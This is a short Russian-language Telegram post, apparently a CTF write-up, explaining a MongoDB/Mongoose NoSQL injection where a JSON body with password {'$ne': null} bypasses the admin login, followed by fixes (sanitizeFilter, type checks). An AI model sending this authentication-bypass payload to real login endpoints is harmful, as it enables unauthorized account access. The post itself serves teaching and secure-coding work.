Ответ:
User.findOne({ username, password });
Поля из req.body напрямую попадают в фильтр MongoDB.
Mongoose без sanitizeFilter позволяет операторные ключи ($ne, $gt и т.п.).
{
"username": "admin",
"password": { "$ne": null }
}
{ username: "admin", password: { $ne: null } }
Пароль admin ≠ null → документ найден → FLAG получен.
Коротко и по делу:
mongoose.set('sanitizeFilter', true);
или проверять типы:
if (typeof password !== 'string') return 400;
#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4🥰2